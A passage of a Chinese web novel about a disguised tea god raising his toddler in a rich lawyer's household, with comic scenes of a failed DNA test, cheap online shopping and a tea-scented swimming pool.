白清语:“我好累,不想动,你们吃吧。” 贺任沅听管家说他中午也没吃,休息不是这么个休息法,“动不了?要我抱你下去?” 白清语一骨碌爬起来,顺手捞起儿子:“不用了!” 被老板抱着,听起来就很可怕。 茶宝道:“爸爸,今天好多饭噢,是老板爷爷给的饭。” 白清语:“这样啊,感谢老板爷爷。” 另一边,老板爷爷,不,贺望重,焦急地等待加急报告。 他指定的这家机构,快速、精确、全面,前阵子刚帮隔壁老王找到了如假包换的亲孙子。管家说他保守有七成的把握,他这人惯来谨慎,说七成就是有九成。 时间已经超出了预计,越是推迟越有可能性。他儿子肯定是验过了才往家里带的。 贺任沅办事他放心。 叮铃铃——手机一响,贺望重的嘴角就忍不住翘起来了。 “喂,对,我是委托人。” 机构人员:“呃,我们这边出的初步结果是——您送来的DNA样本,经检验跟固定样本有高达70%的基因相似度。” 贺望重喜出望外:“70?那就是有很大的可能是我孙子?!” 等等,不对,上次老王的孙子好像是3个9,99.9%真金不怕火炼的亲孙子。 机构人员:“嗯,这么说吧,您和猴子的基因相似度是95%,您跟香蕉的基因相似度是60%。” 贺望重:“你是说我的孙子介于香蕉和猴子之间?” 机构人员:“我们怀疑样本有问题。” 贺望重“啪”地一下挂断电话,他的心腹管家怎么办事的? 确定拿的是他孙子的牙刷,不是鞋刷?! ———————— 管家:七成把握。 第26章 白小茶又体验到吃自助餐的快乐,而且这次更热闹。 贺任沅的大桌餐摆满了各种各样的食物,根本吃不完,于是叫来所有家政人员一起。 姜萌萌她们都是头一回跟雇主坐在一起吃饭,本来以为会紧张到没胃口,但奈何对面的小崽子吃播搞得太优秀,吃什么都香喷喷。而且雇主也没空看她们一眼,全程都在看着茶宝。 白小茶吃东西向来不急,被人抢先也无所谓,他更专注于自身,努力把每一口饭都精准喂进嘴里,不小心掉桌上了还会立马拾起吃掉。看他吃饭是一段长时间的赏心悦目。 贺任沅给小崽子剥焦糖板栗,有一种自家孩子周岁宴请宾客的怡然。 等白小茶两周岁的时候可以补一个。要隆重一些,把生意上的朋友都请来。 茶宝坐在爸爸和叔叔中间,自从饲养员变成叔叔,碗里就不是大杂烩了,叔叔会搭配好食物,一小碗一小碗,水果配酸奶,鸡汤配面条。 茶宝端起一个小碗,吃得干干净净,拿开勺子,老板叔叔拿走空碗,放下一个碗。白小茶把勺子伸进去继续吃。 犯困的白清语有一搭没一搭地吃着,贺任沅真是讲究,吃到肚子里不都是一样的嘛。 “爸爸,我又吃完一碗了!” “管家爷爷,你怎么不吃饭?” “马上吃。”管家干笑一声,脑子里全是样本污染的世界未解之迷。 牙刷被污染有两种可能,一、茶宝早上吃过水果蔬菜才刷牙,二、茶宝拿牙刷刷过鞋底。 这里的鞋底是泛指,也可能刷过水果、刷过树干…… 好险,管家心里直呼幸好做了亲子鉴定,白清语肯定都不知道茶宝的牙刷居然不止刷过牙,早就该换了。 用不卫生的牙刷,会肚子痛的,肚子痛吃饭就不香了。 董事长也是这么想的,虽然没有得到能够打脸贺任沅的鉴定报告,但是检测出了一根可能导致生病的牙刷,显然后者更重要。 管家悄悄看茶宝的头发,发质又黑又软,他明天洗三遍手去薅一根,这回一定不会发生样本污染了。 白清语吃完饭,有了人类食物垫底,终于精神了一些,智商也回来了,他看见挂在椅子扶手上的书包,产生一个问题:今天不是周六吗? 白小茶上哪个幼儿园混饭吃的? 他捏住茶宝的两个脸蛋,问道:“你今天上学了吗?” “上了,爸爸,吃四顿。”白小茶伸出四根手指。 白清语:“在哪个幼儿园?” 白小茶:“是新的幼儿园!” 白清语疑惑地看向贺任沅:“怎么回事?” 贺任沅面不改色道:“舒贺集团的员工幼儿园有周末托班,应对部分员工加班的情况。” 本来是没有的,不过他最近追加了一笔福利就有了。 他带白小茶去新幼儿园熟悉熟悉,哪个幼儿园饭菜更好吃,茶宝一口了然。 这一步润物无声,至少能达成下学期换幼儿园的目标。 如果茶宝能说动白清语,尽快更换就更好了。 贺任沅用上级抽查食堂的语气问:“茶宝,饭好吃吗?” 白小茶:“好吃!” 不等贺任沅给白清语上眼药,白小茶就道:“都好吃!” 贺任沅:“……”大意了,茶宝的舌头还不够灵敏,吃他爸做的饭也能津津有味。 行,下一步计划:塑造茶宝对食物的高级审美。 别问他为什么总在白小茶这里使劲,不直接说服白清语给孩子转学,因为茶宝孺子可教! 白清语这个榆木脑袋,宁愿每天坐一两小时公交送茶宝上学。 贺任沅提议饭后出去走一走消食,白清语直白地拒绝:“我和茶宝还有事。” 贺任沅:“什么事?” 白清语:“给茶宝读绘本,两岁正是读绘本的最好年纪。” 贺任沅无意处处插手白清语的养娃方式,“好吧。” 白小茶把小崽子抱上楼,黄山之行,珍贵的春雨让白小茶的头发长得快了一些。 都是黄山毛峰顶极品质。 “宝宝你坐好,我要剪一些茶叶送给老板叔叔。” “好噢。”白小茶闭上眼睛配合。 白清语拿出剪刀,刚要下手,意识到少了一样辅助工具,他需要一张剪发围布,防止头发掉进白小茶的领口。 以往每次都剪一小撮,剪全头还是头一次。 白清语只好掀了床单把白小茶裹住,“宝宝,要开始了。” 白小茶听见沙沙的声音,细碎的头发从耳朵略过,痒痒的。 头发都给送老板叔叔! 白清语不是理发师,技术相当一般,好在茶宝的颜值撑得住,无论什么狗啃的发型都可爱得要命。 短发更加精神可爱,额头更饱满,眼睛更大更清澈。 白清语把床单上的碎发扫进罐子里,床单不够光滑,头发粘在上面拨都拨不动,他只好把它们都变成茶叶再捡起来。 自然脱落的头发,并不会直接变成茶叶,而是离体时间久了,悄悄发生变化,神仙的一切自带障眼法,变化不会在人类眼皮子底下发生。 他收集好茶叶,深深觉得茶宝需要一块剪发围布,于是搂着儿子,打开某个据说很有性价比的购物软件。 “宝宝,居然只要六块钱就能包邮送到家。”白清语震惊,“好便宜啊。” “好便宜!” “宝宝,你是复读机宝宝。” 白清语下单一条儿童围布,刚想关闭,看见界面下方有许多商品推荐。 好便宜!他现在月薪三万,适当购物没关系的,有钱了也要给邓伯买点吃的。 接下来三小时,白清语连续下单。 15块钱5条的内裤?买,他不会自己做内裤。 十块钱5双的儿童袜子?买,白小茶不爱穿鞋,需要很多袜子。 一块钱包邮的香菜种子,九块九的衣架。 …… “儿童三轮车简易版?宝宝,你要学习开车吗?” 茶宝点点头:“要。” 白清语下单了一辆简易版的,没有脚踏,茶宝的身高还开不了有脚踏的车,只能买座位很低,双脚蹬地的。 接着,他又看中一辆儿童扭扭车,儿童充气跳跳马。 三辆车加起来不到一百五! “你以后就是有三辆车的宝宝了。” “老板叔叔也有三辆车!” 白清语回忆一下贺任沅的车库,“对。” 他给邓伯一口气买了五种水果寄回去,同时转账五千块。 “茶宝,跟爷爷说,让爷爷买肉吃。” 茶宝凑近收音口:“爷爷买肉吃噢!” 购物完毕,白清语刚想退出软件,不知道点到了哪里,退不出去,说白清语是新用户,又下了很多单,要送给他700元,难度极低,只要他邀请好友助力就行。 七百块钱? 白清语顺手转发给了贺任沅,他昨天签完合同后,加了贺任沅的微信,聊天界面还是一片空白。 楼下,贺任沅正在使用科学的计量方式给茶宝泡睡前奶粉,他垂眸认真看刻度的模样,仿佛在做生物学实验。 加好奶粉和水,贺任沅一边晃动,一边想着白天在车上和茶宝的对话。 他问了茶宝晚上睡前喝不喝牛奶,结果问出了一个惊天事实:茶宝在进城之前几乎没有喝过奶。 也就说,茶宝一出生就离开妈妈身边,并且白清语没有钱买奶粉。 二十一世纪了,居然还有小宝宝喝不上奶。 贺任沅仍然不知自己是怎么继续问话的:“那宝宝吃什么?” 茶宝:“爸爸喂宝宝喝水,爷爷喂宝宝吃米糊。” 贺任沅看着茶宝的婴儿肥,越看越瘦小,连夜咨询别人家两岁的孩子喝什么奶粉。 叮——微信一响,贺任沅以为是他找的儿童营养师给他发注意事项,打开一看,白清语发来一条好友助力。 白清语主动给他发的第一条消息。 他黑着脸语音回复:“这是诈骗。” [那我上面买的东西能发货吗?] 贺任沅皱眉,白清语节省,肯定是买便宜的,还是拉个清单让管家买…… 不,贺任沅骤然想到白清语一个垃圾桶就能装完的行李,上一轮保姆阶段,白清语没有添置任何生活用品,就买了个跑路的垃圾桶。 据说工位上的摆设越多,员工离职的可能性越低。 换个思路,他应该鼓励白清语购物,且是自掏腰包购物,因为管家买的东西会被认为是借用的。 白清语买得越多越好,最好一辆垃圾运输车都装不下,辞职也得掂量。 贺任沅换了语气,边上楼边道:“当然能发货,上面的东西物美价廉,不满意包退,你大胆买。” 白清语得了贺任沅的肯定,对自己的购物越发满意,正想再看看,房门被敲响。 “是我。” 白清语抱着白小茶去开门,看见贺任沅端着牛奶,“是给茶宝的么?” 贺任沅:“对。” 白清语一般不在睡前给小崽子喝很多液体,不过这是老板的好意,没有拒绝的道理:“谢谢你。” 白小茶接过奶瓶,吸了一口,“爸爸,有没有啵啵,布丁?” 白清语明白他又想摇奶茶,生怕他又吐一口奶茶在贺任沅身上,忙道:“晚上不能吃啵啵。” 贺任沅最近忙得连轴转,此刻茶宝一提,他又想起那口来源不明的奶茶,他很确定当时桌上没有茶味的东西。 他这么想,便问出口。 白小茶被爸爸教过,不能回答任何关于茶的问题。 老板叔叔,宝宝没空回答,因为我在喝牛奶噢。 白清语镇定道:“因为我随身带了一瓶茶,茶宝喜欢自配奶茶。” 他不是那个手忙脚乱买单的茶神了,他早就想好理由了。 贺任沅直觉不对,但横竖找不出问题,索性暂时按下,道:“茶宝给我,我带他称体重。” 贺任沅怕茶宝出生没奶喝营养不良,营养师看完茶宝的照片,没有给出有效意见,只建议他追踪茶宝的身高和体重。 育儿这件事,要有商有量,不能越俎代庖,置白清语的父亲地位而不顾。 贺任沅解释原因:“我想记录一下。” 白清语警惕地说:“不用了吧,我心里有数。” 茶宝长得慢,别人家的宝宝一个月增重四两,白小茶每天干那么多饭,回头只多了一两肉,被吃了那么饭的贺任沅会不会怀疑人生? 贺任沅:“称一下,很快的。” 白清语:“他刚喝了一瓶奶,体重不准。” 贺任沅:“两百毫升,可以扣除。” 白清语实在找不到拒绝的理由,只能偷偷撺掇小崽子:“宝宝,待会儿叔叔给你称体重,你不要配合。” 白小茶无条件答应:“好噢。” 电子秤不知为何放在二楼,有些像超市里的电子秤。 贺任沅把茶宝放在上,面板上的数字开始跳动,还没有稳定在一个数值。 “茶宝。”白清语站在贺任沅身后,指了指大腿。 白小茶懵懵懂懂伸出脚丫踩在了地上,数值又开始跳动。 白清语对他比一个大拇指。 白小茶:q(≧▽≦q) 贺任沅:“……” 贺任沅把茶宝的左脚放回去,茶宝在爸爸鼓励的目光中伸出了右脚。 白清语:“孩子多动,大多是困了……” “称完就睡。”贺任沅拿来一个脸盆,把小崽子装在里面。 白小茶施展不开脚,愣住。 白清语悄悄指了指体重秤的竖柄,白小茶机灵地抓住。 白清语试图抱走小崽子:“算了,下次。” 体重数值变化不停,贺任沅眼皮也跳,他把一个小蛋糕塞进茶宝手里:“吃。” “谢谢叔叔!” 白小茶顿时安静下来,双手捏着蛋糕,心无旁骛。 白清语:“……” 贺任沅又让茶宝躺直,记录身高,头围,腿长、手长。 白小茶配合得非常丝滑,老板叔叔让他伸左手,他就换右手拿蛋糕。 白清语抱着手臂,真是好容易被收买的神仙幼崽。 贺任沅记录完,道:“明天我还带茶宝去上幼儿园,你在家好好休息。” 白清语:“哦。” 去吧去吧,他正好明天要炒茶,免得茶宝又要跟着进烘干室。 翌日。 管家认真洗了手,站在楼梯口等候白清语带茶宝下来。 “管家爷爷早上好!” “茶宝早上——”管家看着茶宝突然变短的头发,无语凝噎。 这个长度,想要顺手牵羊,办不到。 出师不利的管家只好如实告知董事长:“能用的方法都用了。” 剩下的方法……弄疼茶宝的一概不考虑。 正在吃早餐的贺望重沉吟一秒,问老婆:“是不是被儿子发现了,不然我孙子会这么巧剪头发?他这是在警告我?” 舒枚想了想,也不是不可能,贺任沅能干出这事。 贺望重:“牙刷样本估计也是他动的手脚,好好好,他现在是神通广大了!” “哼,这更说明茶宝是我孙子!不然他为什么遮遮掩掩!我看他能装到什么时候。” 舒枚:“有点道理,他演他的,他放着爸爸不当,想当舅舅让他当,反正不影响茶宝喊我奶奶。” 贺望重想起儿子第一次喊自己爸爸时,自己激动的心情,高傲道:“没听见茶宝叫爸爸,那是贺任沅的损失!” 舒枚:“损失大了。” 贺望重想想还是不服气,给贺任沅发去一条阴阳怪气的问候。 [呵,知子莫若父。] 送茶宝上学的贺任沅:? 他反应了一秒,最近能触动贺望重的,只有他给茶宝当舅舅这件事。贺望重发这句话想说明什么? 贺任沅抬手删去了这条微信。 他只是想帮助这对父子,绝对没有其他不正当的想法。 ———————— 大律师,不心虚你删什么? 会先掉茶神马甲。 第27章 白清语吃完饭进了炒茶室,待了许久才出来。 没有白小茶干扰,他一口气制作完毕,不仅黄山毛峰被炒干了,自己差点也炒熟了。 炒茶室的门一开,一股糅合馥郁的茶香扑面而来,别墅里干活的人都停下动作,深吸了一口。 太好闻了,闻到就是赚到。贺任沅少爷以前泡茶的时候她们没少闻过茶香、蹭过茶水,那些一泡九百的也不如今天的茶叶好闻。 一群人像猫闻着猫薄荷一样聚集到茶室门口,“清语,你炒的是什么茶?” 白清语:“黄山毛峰,送给少爷的谢礼。” 管家不住点头:“少爷肯定喜欢。” 白清语:“我有点热,先上去冲个澡。” 茶神感觉很缺水,尤其是头发很干燥,需要淋浴。 如果能泡一泡就更好了,贺家虽有浴缸,但是城里的水也要收费,放一大缸水太浪费了。 嗯?他能不能去四楼泡游泳池呢? 白清语眼睛一亮,询问管家:“少爷说我可以使用泳池,我现在可以用吗?” 周围传来一些惊叹的吸气声,白清语循声望去,大家脸上却都很平静。 管家毫不怀疑少爷的决定:“当然可以,四楼不会有人上去,你可以尽情游,但是……要不我还是安排一个安全员给你。” 白清语应该没下过泳池,第一回 游,管家有些不放心。 白清语:“不用不用,我会游泳,我带着救生圈。” 木头天生就会漂在水面,不会溺水。 管家应着一声好,顺手开启泳池的保姆级防溺水监测系统,智能识别人物的游泳状态。 四楼,白清语关好门,蹲下去摸了摸水温,恒温泳池温度适宜,他毫无技巧地扎进去,很快浮出水面,仰躺着。 温柔的池水将周身包围,白清语将缺水的长发变出来,最大程度地吸收水分。 四楼不会有人上来,即使有,门一动他就变回来。 青丝在水波中荡来荡去,不断有细小的气泡从发间升起,像一串一串珍珠。白清语泡了一会儿,漂到了泳池中央。 然后呢?怎么游? 白清语试探性地在水里翻身,双臂划水,腿脚助力,扑腾了一会儿,仿佛开启了技能卡一般,如鱼得水地游动。 他就知道,神仙天生会游泳。 白清语游了两圈,仰躺在水面上睡觉,刚闭上眼睛一会儿,吊顶有处红光一闪,一道机械音响起:“如无溺水,请变换姿势。” 白清语伸手拍了下水面。 红光消停了。 这个姿势它以为我要溺水吗?白清语嘀咕着,翻了个面,面朝下浮着。 泳池系统的机械音更加紧急:“如无溺水,请变换姿势。” 白清语只好打消睡觉念头,绕着泳池游来游去,游到泡透了才湿淋淋地靠岸。 吸饱水的茶神模样水灵,白皙的皮肤上泛着红晕,长发光泽柔亮,他靠着池壁发呆,长发如同柳叶浮水,眉黛如燕子摆尾,寥寥数笔,黑白勾勒,加上一抹青绿便是神仙写意。 “几点了?茶宝要放学了吗?”白清语拿起岸上的手机一看,他居然泡了三小时。 舒贺集团的幼儿园上学时间长,五点半才放学,配合打工人的下班时间。 贺任沅下班去接茶宝,这时候也差不多要回来了。 白清语连忙出水,进隔间把短袖短裤睡衣换了。出来时,又变回普通的模样。 他刚喂完鸡,茶宝就从外面跑进来扑进他怀里:“爸爸,我今天看到了羊驼!” “你去动物园了?” “是在幼儿园看的。” 贺任沅道:“幼儿园的课后娱乐。” 白清语惊讶于这个幼儿园的项目之多,“真好。” 贺任沅心道,好你还不给茶宝转学,茶宝明天周一就要回去上学了。 白小茶悄悄附在爸爸耳朵边道:“爸爸,羊驼宝宝想吃我的头发!” 白清语道:“不用担心,你明天上的幼儿园就没有羊驼宝宝了。” 白小茶握紧拳头,好噢,宝宝换一家干饭。 贺任沅暗示道:“茶宝很受小动物欢迎。”今天在幼儿园玩得很兴奋。 白清语:“嗯。” 贺任沅:“……”气死他得了。 白清语拿出一包茶叶,他用了心包装——虽然包装盒是捡的贺任沅仓库里的茶叶盒。 “送给你喝。” 贺任沅意外:“茶叶?” 白清语:“嗯,是我在黄山买的名茶,你现在就尝尝。” 白清语抱着小崽子,一大一小都期待地看着贺任沅,眼睛又大又圆,像盛着一碗琥珀色茶水。 贺任沅看着白清语,今天似乎格外水灵,睫毛仿佛天生带着水意,擦不干一样。 他收回心神,给自己泡了一杯平心静气的茶。 茶水呈象牙黄,火工轻,幽幽浮动着嫩香、栗香,袅袅茶气恰似高山上的云雾。 “黄山毛峰?” “对噢!” 白清语和白小茶都笑弯了眼,好像是特别兴奋的事,眼里跳动着快活的因子,宛若阳光照耀下茶水溢出的光。 贺任沅垂眸,细细品味这一碗不知为何让父子俩自傲的茶。 一杯茶喝到底,却又让他品出了有别于黄山毛峰的茶底,有一种重逢的熟悉感。 根据他的经验,这一包茶叶不会低于五位数,白清语是把在上一家当保姆的工资用来给他买茶叶了。 即使是报恩,白清语竟然愿意为他大方至此。 贺任沅嘴角勾了起来。 白小茶双手托着脸蛋:“叔叔,好喝吗?” 贺任沅:“好喝。” 白清语:“我们在茶叶铺里,是茶宝选的茶。” “茶宝很鼻子很灵。”贺任沅看到了培养茶宝食物审美的曙光,“舌头也一定很灵,能吃出哪家幼儿园的饭菜好吃。” 白小茶:“都好吃!” 贺任沅:“……”这五星级大厨终究还是白请了。 这一天的幼儿园太有趣,茶宝在爸爸怀里坐了一会儿就缓缓关机,紧紧合着眼睛和嘴巴,哪怕像炒茶一样拨来翻去都不会醒。 白清语也打呵欠:“我抱茶宝上去睡觉,鸡喂好了,鸡蛋捡了,鸡屎也铲了。” 贺任沅目光幽幽看着白清语的背影,一句话三只鸡,他这么大的老板在面前,一点也不关心,他开三万工资就是为了让白清语养鸡吗? 才不是,他是为了让茶宝入读他的幼儿园当招生广告。 贺任沅愤然起身,管家连忙问道:“不吃晚饭吗?” 贺任沅:“不吃了,先游泳。” 管家道:“今天清语也去游泳,需要换水吗?” 贺任沅:“你这时候问不是马后炮吗?” 换个水要折腾半天,还游什么。 管家观察了一下少爷的脸色,不换水是对的,优秀的管家懂得为老板节省水费。 贺任沅一踏进泳池,目光扫到智能面板,显示上一个人使用了三个小时的泳池,接着,他闻到了极淡的茶香,这层香气不在空气中,而是从水面散发出来的。 这一池水,怎么像冷萃茶? 他下了水,更加笃定自己的猜测,仿佛大量纯种岩茶在冷水中浸泡了三小时以上,不经过高温挥发,花香和果香充分留在了茶水中,甘甜而不苦涩。 重点不是冷萃,而是茶本身,仅仅是几缕淡淡的香气,虽头次闻到,却宿命般魂牵梦绕。 上一回,白清语说他用茶叶泡澡,短暂地给他闻了一息手腕上的香气,也是如此,差点勾走他的定力。 泳池不可能凭空出现茶味,今天只有白清语上来过,难道他连游泳都要奢侈得用茶叶冷萃一池水? 贺任沅深吸一口气,一猛子扎进水中,睁开眼睛,在池底搜寻证据。 果然有茶叶! 贺任沅宛若海洋霸者一样极速掠过池底,伸手一摘,抓住了两片被吸在出水口的茶叶。 还有一片,贺任沅等不及换气,憋着一口气抓住。 哗啦——贺任沅冒出水面,他呛了水,咳嗽起来。 三片茶叶。 贺任沅死死盯着手里的证据,白清语果然把泳池当浴缸用,在这里冷泡茶,弄了一缸泡澡水,足足泡了三个小时! 他让白清语来游泳,可不是让他泡澡的! 那他呛到的水岂不是白清语的泡澡水? 贺任沅更加剧烈地咳嗽起来,耳朵和脖颈都充斥着绯色。 他紧紧攥着手里的茶叶,白清语泡澡时可真够大方的,什么好茶有多少拿多少,到底从哪得来的这么多好茶,比他三年搜集的名茶还要优质。 不仅有好茶,白清语还有对茶叶极高的鉴别能力和炒制水准,哪里像个乡下来的保姆,简直像落难的贵公子,全部家当只剩下无法估价的茶叶,像古时候山穷水尽也不舍得卖字画的落魄书生。 白清语身上有这种固执,贺任沅体验过了。 白清语一定有固定获取茶叶的渠道。 贺任沅不觊觎茶叶……这句话说出来他自己也不信。 他有疯狂强烈的预感,白清语的茶叶来源对他很重要。 贺任沅打开泳池的监控,回溯时间到下午,看见白清语进来,撩了撩水花,然后进了浴室洗澡换衣服。 然后——浴室门还没开,画面黑了。 贺任沅不可置信地拉到最后,画面再次出现时,白清语从浴室出来,头发湿漉漉的,手上搭着湿透的睡衣,已经游过泳的样子。 不是??? 白清语一个给他转发现金大转盘助力的人,还会删除监控??? 贺任沅抿了下唇,白清语,一个表面老实的保姆,带着一个无害的幼崽,却有超乎寻常的力气和手段。 这种情节荒诞得只在间谍电影里看过。 他家有什么必要被人安插间谍吗? 贺任沅神色一僵,坏了,还真有。 在舒贺集团,他的手下常常兀自揣摩上意,“特招”一些懂茶的人进办公室,不是没招到过商业间谍。 但白清语绝不可能是间谍,谁家当间谍带孩子上班。 贺任沅保存好茶叶,下楼吃晚饭。 此时才晚上七点,昨天还是一派宴请宾客的和乐融融,今天就有些冷清。 贺任沅:“齐叔,白清语吃饭了没?” 管家:“似乎没有,白清语吃饭比较随意,总是说不饿。” 贺任沅给白清语发微信。 [下来吃饭。] 他等了等,又发。 [我有东西要给你。] 白清语还是没回,就像下班后不接老板电话的员工。 这时,门卫进来,带进来几个快递包裹,有大有小,包装破破烂烂,收件人都是白清语。 贺任沅再发。 [你的快递到了,下来拆。] 这回,对方有了动静。 [马上来。] 贺任沅:“……”他说什么都不如几个破快递管用是吧。 白清语欢快地跑下来,上次买的垃圾桶很有用,让他对网购充满期待。 客厅里有一堆快递,昨天下单今天就到了,一线城市就是快。那些小车子白清语打算放一辆在一楼,便蹲在地上拆快递。 贺任沅给管家使了个眼色,管家识趣地退场。 贺任沅这才屈尊降贵走过去,帮白清语拆他的宝贝快递。 “这是什么?”贺任沅拆开一包小件,掉出来几条颜色各异的内裤。 白清语“啊”了一声,介绍道:“这是我买的内裤 ,三块钱一条,颜色随机,不能选。” 贺任沅闭了闭眼,他还得操心白清语内裤穿什么是吗。 “这你能穿?” 白清语拿过来一看,唔,好像太小了,根本不是正常尺寸,大腿都伸不进去吧? 他还没有退货意识,就卷起宽松的睡裤,想试试内裤的腿围,腰围目测可以,大腿不太确定。 内裤卡在大腿上部就不行了,勒出一圈软软的肉,白皙紧致,看着可怜。 “不行噢,太紧了。”白清语失望地说。 贺任沅深吸一口气,白清语身体长成这样是想干什么。 第28章 “没有一条能穿啊。”白清语比对了下几条内裤的尺寸,自言自语,“难道要留给茶宝上初中了穿?” 贺任沅喉咙里都在烧着火,伸手把白清语的睡裤粗暴地扯到膝盖下面,盖住被勒出的红痕:“就几条内裤你还要当传家宝?” “我是没有什么能传给茶宝的。”白清语突然凑近贺任沅,眼神闪闪地打量他,“少爷,你初中的时候多高?” 白清语坚信茶宝肯定要比照贺任沅的个子长的,提前探听茶宝几岁能长高。 贺任沅:“很高,坐最后一排。” 白清语想到茶宝目前在幼儿园只能坐第一排,十分憧憬,伸手在贺任沅额头上方比了比:“茶宝不挑食,你挑食,茶宝至少跟你一样高。” 贺任沅:“挑不挑食是一回事,还跟先天基因有关,对照我没用。” 基因,好复杂的东西,白清语收拾自己的快递,“你没用……算了。” 贺任沅太阳穴一跳,握住他的手腕:“内裤扔……退货。” 白清语拿出手机,虚心请教:“怎么退?店家不肯怎么办?” 贺任沅接过他的手机,本来想行云流水地替白清语操作,赢得对方的惊叹,奈何白清语的手机打开购物软件就卡顿了十秒,而此刻白清语还目露期待地看着他操作。 贺律师于是气急败坏地说:“他不肯我给他发律师信。” 贺任沅耗时三分钟才完成退款,免费上门取件,约定时间的流程,“明天我给你一个工作手机。” 白清语拒绝道:“我不能拿你太多东西。” 贺任沅:“我有义务给你提供工作机,让你更方便地上班,不信你上网搜。” 白清语上网一搜,原来真有此事,不提供工作机的还被网友骂老板抠门。老板真是好东西,什么都给。 “谢谢。” 贺任沅平复了会儿,站起来,从桌上拿来一个盒子:“结案了,翡翠勺子你不是说想要吗?” 黑色丝绒盒子里躺着一对翡翠勺子,一柄完美无暇,一柄四分五裂。 白清语心疼地嘶了一声,还好,他能修复,修复纯天然无杂质的无生命物体,比给复杂的人类疗伤简单多了。 “我修好了还给你。” “我用不上,送你和茶宝了。” “不行。”白清语认真道,“翡翠勺子价值三百万,贵重物品我不能收。而且,大额财物赠予,在一定条件下可以索回,比如关系发生变化时,所以我更不能收。” 贺任沅脱口而出:“关系发生变化?恋爱关系以结婚为目的赠与的大额财物可以请求返还,我跟你又没谈恋爱。” 白清语奇怪地看他一眼,道:“你想到哪里去了,我们有保姆和雇主的关系,有工作机就有工作勺,工作机辞职要上交,工作勺也没说不要啊。” 贺任沅一噎,他不能肯定白清语若是想带着白小茶离开他,自己会不会不择手段地阻止,半晌憋出一句:“你还怪懂法的。” 白清语一愣,“是噢,我还怪懂法的,我怎么会这么懂法?” 一定是他和邓伯平时看的普法栏目已经刻入骨髓。 贺任沅觉得白清语在阴阳怪气,妥协道:“我给你写赠予合同。” 白清语还没反应过来,贺任沅已经大步上楼,从电脑直接调出一份赠予合同样本,打印出来唰唰签上字,和翡翠一起放在桌上。 “不说勺子的事,你喷了香水?”贺任沅鼻尖嗅到了一股淡淡的茶味,但跟泳池里的天然茶味不一样。 白清语今晚发现自己因为游泳茶味溢出,忙喷了一些绿茶香水掩盖:“嗯。” 贺任沅心道:“你茶叶泡澡还不够,还要喷香水,这么喜欢茶?” 白清语:“嗯。” 贺任沅想起舒贺集团茶水间最被人津津乐道的八卦—— [某经理偏爱绿色大地系套装、在公司用的杯子勺子纸笔全有茶叶图案,来公司之前只喝咖啡现在只喝茶、一开会就喷绿茶白茶香水往贺总身边凑……你们说做这一切是不是为了勾引贺总?] 八卦关乎他,但他从来不屑去听,此时此刻却恨不得跟茶水间的同事一起钻研职场心理学。 贺任沅看着一脸老实的白清语,鬼使神差地问:“你喜欢茶,是因为我喜欢吗?” 白清语抬眸,惊讶地看着贺任沅,怎么会有人问茶神喜欢茶是因为人类?倒反天罡。 贺任沅从他这一瞬间的眼神,明白了他在自取其辱,道:“好了,你不用回答。” 白清语耿直道:“是因为我,你才会喜欢茶。” 贺任沅:“……” 贺任沅恼羞成怒。 在白清语来之前,他确实已经快尝不出茶叶的味道了,那又如何,他早就在三年前就爱上茶了,跟白清语有什么关系? 白清语拎起两个要拿上去的快递,顺道拿走翡翠勺子:“我拿上去修。” 当晚,白清语使用神力把勺子恢复原样,收好放在盒子里。 他还没想好怎么还给贺任沅。 * 翌日,茶宝吃早饭时,惊喜地发现爸爸给他买的扭扭车到了。 白清语把他放在车上,教他使用,“宝宝喜欢吗?” 白小茶大声道:“喜欢!” 管家看见贺任沅湿着头发从楼上下来,提高了一点声音:“这好像是清语你第一次给茶宝买玩具,难怪茶宝这么高兴。” 白清语:“喜欢就再买。” 白小茶:“爸爸,宝宝有一个玩具就够了。” 贺任沅脚步一顿,脸上浮现懊恼的神色,他最近光顾着投喂茶宝,竟然忘记给茶宝准备玩具,今天下班带茶宝去玩具城看看。 “少爷,您去游泳了吗?”管家纳闷,平时也没游这么勤快,现在一天游三次啊? “今天要换水吗?” 贺任沅:“不用浪费。我九点的时候回来办事,顺路送茶宝去幼儿园。” 白清语预感贺任沅是专门回来一趟,“我发现坐地铁再打车就很快,我自己送吧。” 贺任沅:“也行。”那他放学再去接。 一小时后,白清语履行自己的承诺,带茶宝坐地铁加打车,比平时早了半个多小时到幼儿园。 太早到了,还得在幼儿园外面排队。 每次都踩点到的白清语,赫然发现原来有些爷爷奶奶会很早就送孩子过来,在门口排一会儿队伍说说话哄一哄再送进去。 白清语抱着小崽子静待保安叔叔开门。 旁边的两个小朋友估计是很好的朋友,一直在叽叽喳喳地聊天。 “我妈妈最漂亮,她有很多口红。” “我妈妈有很多裙子,我妈妈才最好看。” 聊着聊着,谁的妈妈最好看的话题,险些让友谊破裂。 白小茶捏着面包听了一会儿,自言自语道:“我爸爸好看。” 说完,他继续吃面包。 其他两个小朋友却听见了,围过来,“茶宝,我没有见过你的妈妈。” “你妈妈长什么样?你妈妈好看吗?” 白小茶坚持:“我爸爸好看。” “不是,白叔叔不好看,肯定是你妈妈好看。” “对啊对啊。” 白清语尴尬地挠了挠脸,小孩子净说大实话。 白小茶也愣住,捏着面包久久没动,一副伤心欲绝的样子:“不要说我爸爸。” 小小的幼崽根本听不得别人说他爸爸不好,眼圈便有些红。 白清语见状有些慌,忙把白小茶抱远,“宝宝的爸爸是最好看的。” 他思考了一下,反正江家搬走了,附近也没有认识他的人,偶尔出现一次本体样貌也没什么,爸爸的容貌,茶宝的骄傲,“晚上,漂亮的爸爸来接你放学好不好?” 小崽子前一刻还红着眼圈,情绪来得快去得也快,眼睛圆溜溜的不见一丝伤心:“好噢,爸爸!” “爸爸要长长的头发!”白小茶一阵子没有贴贴爸爸的头发了。 白清语答应:“可以噢。” 答应了孩子就要做到,下午,白清语从家里出发接孩子,特意戴上了口罩,穿了一件宽松的外套,到了僻静无人处,变回了茶神的容貌。 走到幼儿园的一路上,白清语发现好多人看他,他弯起了眼睛,看来大家都以为他是染的头发,他跟杀马特一样,回头率很高。 他只有一种发色,就比杀马特还引人注目,说明大家都很喜欢茶叶的颜色。 往常接孩子,白清语泯然众人,今天完全是鹤立鸡群的效果,尤其是站在一群爷爷奶奶中间。 墨绿色的长发极其显白,鬓发用一枚黑夹并到耳后,白清语手臂和额头自带打光效果。 然而,更吸引人的永远是他口罩上露出来的眉眼,看人时好像笑意吟吟,好像如隔云端在,周围自带真空圈。 白小茶随着放学队伍出来,一眼就看见爸爸,“爸爸!” 白清语弯腰一把抱起小崽子:“宝宝上学辛苦了。” 白清语的头发霎那吸引了无数小孩子的目光,都围着过来,踮着脚伸手去摸。 白清语也不介意,一一叫着他能叫出来的小朋友名字。 